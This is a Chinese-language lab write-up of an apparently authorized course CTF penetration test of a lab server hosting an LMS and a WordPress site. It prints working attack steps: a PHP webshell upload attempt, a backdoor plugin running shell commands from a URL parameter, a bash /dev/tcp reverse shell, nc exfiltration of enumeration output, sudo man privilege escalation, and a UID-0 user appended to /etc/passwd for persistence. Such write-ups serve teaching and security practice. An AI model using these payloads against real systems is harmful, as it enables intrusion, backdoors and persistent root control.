【网安攻防03】CTF渗透日志-1

466 阅读7分钟

本实验报告记录了香港大学information security: attack & defense课程中一次授权的CTF渗透测试实验过程。实验环境为课程提供的专用测试环境,所有测试均在合法授权下进行。

法律免责声明 (Legal Disclaimer)

This document details a penetration testing assignment conducted as part of the COMP7904 course at The University of Hong Kong. By reading this document, you acknowledge and agree to the following:

  1. This document is for educational and research purposes ONLY.
  2. All testing activities described were performed in controlled lab environments with explicit permission.
  3. The techniques and tools discussed should only be used on systems you own or have explicit written permission to test.
  4. The author(s) and The University of Hong Kong assume NO responsibility for any misuse of the information contained herein.
  5. Unauthorized penetration testing and hacking activities are illegal and may result in criminal prosecution.

No part of this publication, in whole or in part, may be reproduced, copied, transferred or any other right reserved to its copyright owner, including photocopying and all other copying, any transfer or transmission using any network or other means of communication, any broadcast for distant learning, in any form or by any means such as any information storage, transmission or retrieval system, without prior written permission from The University of Hong Kong.

以下所有关于黑客技术、病毒攻击、拒绝服务或任何其他计算机系统攻击手段的讲义、资料和讨论内容,仅用于教育目的。这些内容不得用于对任何计算机系统发起攻击或造成损害,也不以任何方式鼓励任何人从事此类行为。

本文所涉及的所有技术讨论仅供学习和研究使用。作者不对任何人使用这些信息用于非法用途负责。阅读本文即表示您同意不会将文中讨论或披露的任何技术手段用于实施网络攻击等违法行为。

本文遵循学术研究和技术交流的目的,拒绝为任何恶意行为提供指导。如有违法使用,使用者需自行承担所有法律责任。

实验概述

实验目的

  • 掌握规范的渗透测试方法
  • 熟悉常见的渗透测试工具
  • 了解系统安全漏洞原理
  • 培养安全测试实践能力

目标

  • 识别并验证目标机器上的漏洞(不少于3个漏洞)
  • 获取目标机器的远程shell访问权限
  • 获取目标机器的root shell权限
  • 破解/猜测/收集用户密码信息
  • 进行目录与文件模糊测试(Fuzzing)
  • 提供详细的逐步漏洞利用文档和获取shell的过程记录

特别说明:

目标系统中存在两个FLAG:

  • 应用程序目录中的FLAG
  • root目录中的FLAG

需要仔细进行信息收集以识别系统中的漏洞

信息收集

网站扫描:nmap 192.168.232.132

image.png

对开放的80端口进行更详细的信息收集:nmap -sV -sC -p80,8000 192.168.232.132:

image.png

查看index.html的内容: wget http://192.168.232.132/index.html, 发现:

    <header class="header contain-to-grid">
	    <h1>TODO: Perform pentest against the applications below & root the system.</h1>
      <nav class="top-bar" data-topbar>
        <section class="top-bar-section">
          <!-- Left Nav Section -->
          <ol class="left">
              <li class="item "><a target="_blank" href="http://lms.comp7904lab.hku/">Lab Management System</a></li>
              <li class="item "><a target="_blank" href="http://cms.comp7904.hku/">Marketplace</a></li>
          </ol>
        </section>
      </nav>
    </header>

index.html 指向了两个目标应用:

可知:这个IP (192.168.232.132) 是一个运行Apache的服务器,用来托管这两个web应用。

由于这些域名在题目环境中,我们需要修改本地hosts文件来访问它们:

sudo nano /etc/hosts, 添加以下映射

192.168.232.132   lms.comp7904lab.hku
192.168.232.132   cms.comp7904.hku
image.png

然后我们可以访问这两个应用并进行目录扫描:

  • dirb http://lms.comp7904lab.hku/
  • dirb http://cms.comp7904.hku/

社交工程:密码暴露

访问管理员路径: curl -o admin.html http://lms.comp7904lab.hku/admin/, 获得admin.html中提及的开发者信息

  • 开发者邮箱: oretom23@gmail.com
  • 版本: LMS - PHP v1.0

通过谷歌搜索,可以直接找到管理员Github账户,根据php编写的网页以及缩略图预览,锁定到目标仓库, 锁定了差不多的样式,进一步查到其漏洞记录

image.png

漏洞记录中提及到默认密码为admin/admin123的漏洞。尝试登录,成功!

image.png

数据库注入

通过Burp Suite拦截登陆请求, 发现了加密算法原理:

image.png

POST请求和响应数据显示使用凭据username=admin&password=adminlms.comp7904lab.hku系统进行身份验证。服务器返回了200 OK状态,并表明登录尝试失败,因为这些凭据与存储的值不匹配。响应中包含用于身份验证的SQL查询:

SELECT * from users where username = 'admin' and password = md5('21232f297a57a5a743894a0e4a801fc3')

这表明系统以MD5哈希形式存储密码,并在SQL查询中直接使用用户输入。从信息收集的角度来看,这暴露了几个潜在的漏洞:

  1. SQL注入:SQL查询使用未经转义的用户输入,表明系统可能容易受到SQL注入攻击。这可能允许攻击者操纵查询以绕过身份验证或访问敏感数据。
  2. 弱密码:如果使用常见或默认密码,该系统可能容易受到暴力破解或字典攻击。

文件上传漏洞

尝试在网站中上传图片发现,个人头像, 背景图片等在上传以后被保存在http://lms.comp7904lab.hku/uploads/avatars/的位置。下面进行尝试将webshell上传。

image.png

通过在控制台构建PNG图片,得以成功上传

function successfulUploadWithPayload() {
    const formData = new FormData();
    
    // 使用相同的表单字段
    formData.append('id', '1');
    formData.append('firstname', 'Administrator');
    formData.append('middlename', '');
    formData.append('lastname', 'Admin');
    formData.append('username', 'admin');
    formData.append('password', '');
    
    // 创建canvas并添加payload
    const canvas = document.createElement('canvas');
    canvas.width = 1;
    canvas.height = 1;
    const ctx = canvas.getContext('2d');
    
    // 添加payload作为不可见文本
    const payload = '<?php system($_GET["cmd"]); ?>';
    ctx.fillStyle = 'rgba(0,0,0,0.01)';
    ctx.font = '1px Arial';
    ctx.fillText(payload, 0, 1);

    canvas.toBlob(function(blob) {
        // 使用已知的正确文件名
        formData.append('img', blob, '1.png');
        
        $.ajax({
            url: _base_url_ + 'classes/Users.php?f=save',
            data: formData,
            cache: false,
            contentType: false,
            processData: false,
            method: 'POST',
            success: function(resp) {
                console.log('Upload response:', resp);
                if(resp === '1') {
                    console.log('Upload successful, checking payload...');
                    // 检查上传的文件
                    fetch(_base_url_ + 'uploads/avatars/1.png?cmd=id')
                        .then(response => response.text())
                        .then(text => {
                            console.log('Payload test response:', text);
                        })
                        .catch(error => {
                            console.log('Payload test error:', error);
                        });
                }
            },
            error: function(xhr) {
                console.log('Upload error:', xhr.responseText);
            }
        });
    }, 'image/png');
}

// 执行上传
successfulUploadWithPayload();

此处对于上传文件较为严格,经过比较,图片会在前端进行格式筛选(PNG),后端则会对图片进行清洗,因而,针对lms的文件上传没有成功。

image.png

WordPress插件TheCartPress漏洞

下载 Wordpress Plugin TheCartPress 1.5.3.6 - Privilege Escalation (Unauthenticated)。 执行代码: python3 wpp.py http://cms.comp7904.hku/

image.png image.png

在浏览器里打开http://cms.comp7904.hku/wp-admin/首先会跳转到http://cms.comp7904.hku/?page_id=12输入账号admin_qwe 和密码admin1234, 点击登录,然后点击Blog_admin加入管理界面。执行成功后,可以获得管理员权限并访问页面!

image.png

由于WordPress登录不是常规WordPress登录,而是通过CMS授权跳转登录,我这里采用手动上传恶意代码。点击 Plugin > Add Plugin > Upload Plugin > Browse

先新建一个terminal, 伪造插件。输入以下命令

mkdir -p evil-plugin
cat > evil-plugin/evil-plugin.php << 'EOF'
   <?php
   /**
    * Plugin Name: Evil Plugin
    * Plugin URI: http://example.com
    * Description: A malicious plugin for testing
    * Version: 1.0
    * Author: Hacker
    * Author URI: http://example.com
    */
   
   // 添加后门功能
   if(isset($_GET['cmd'])) {
       system($_GET['cmd']);
       exit;
   }
   ?>
   EOF
zip -r evil-plugin.zip evil-plugin/
image.png

找到刚才创建的zip, 上传后返回Plugin 界面,点击activate

image.png

此时在浏览器里新开一个tab, 访问http://cms.comp7904.hku/wp-content/plugins/evil-plugin/evil-plugin.php?cmd=uname%20-a, 这里cmd= 可以是任意shell命令。连接成功!

image.png image.png image.png image.png

Linpeas 检查漏洞

  1. 目标系统下载 curl -s github.com/peass-ng/PE… | bash
  2. 目标系统执行 bash linpeas.sh > linpeas_output.txt
  3. 我方系统Kali启动 nc 监听,准备接收文件 nc -lvnp 4444 > received_linpeas.txt
  4. 目标系统执行 cat linpeas_output.txt | nc 192.168.52.128 4444; echo "ok"
  5. 在Kali 端认真阅读里面的内容

建立reverse shell及提权

  1. 在 Kali 系统上启动监听接口: nc -lvnp 4444 image.png

  2. 在Kali 系统上执行curl "http://cms.comp7904.hku/wp-content/plugins/evil-plugin/evil-plugin.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/192.168.232.128/4444%200%3E%261%27", 192.168.232.128是攻击机ip。 image.png

  3. 监听端出现结果,Reverse Shell 已成功建立

  4. 现在我们正在一个非交互式shell中,这就是为什么man命令无法正常工作。让我们尝试先获得一个完整的TTY shell: python3 -c 'import pty; pty.spawn("/bin/bash")',获得TTY后,设置TERM:export TERM=xterm。CTRL + Z (挂起shell),输入:stty raw -echo; fg, 按两次回车; 现在我们应该有了一个完整的TTY shell。

  5. 然后重新尝试提权:

    # 创建exploit脚本
    rm /tmp/exploit.sh
    echo '#!/bin/bash' > /tmp/exploit.sh
    echo 'bash -p' >> /tmp/exploit.sh
    chmod 755 /tmp/exploit.sh
    
    # 尝试提权
    sudo /usr/bin/man -l /tmp/exploit.sh
    
    image.png

    当看到man页面时:

    • !键 (感叹号)
    • 在提示符下输入:/bin/bash -p
    • 按回车键
    image.png image.png

    提权成功!成功获得root权限!

    image.png

发现FLAG

在root目录下发现root.txt: cat /root/root.txt image.png

FLAG内容:Flag_root_608b2llb3dlamtu011e4573a3655fcfc2fee

wordpress目录下找到可疑文件:cat /var/www/wordpress/local.txt image.png

找到了第二面FLAG:Flag_local_723be47accY3Z6amlkYW1kbmFq3a519d

固权

操作 /etc/passwd 文件成功维持了持久的root权限访问。具体执行步骤如下:

  1. 初始获得www-data用户权限
  2. 通过向 /etc/passwd 追加内容,添加了一个具有root权限(UID 0)的新用户"qwe"
  3. 使用OpenSSL生成密码哈希值
  4. 执行的命令:
echo "qwe:$(openssl passwd qwe):0:0:root:/root:/bin/bash" >> /etc/passwd

访问验证: 使用 su qwe 命令成功切换到新创建的账户 image.png

Reference

COMP7904 Final Exam Machine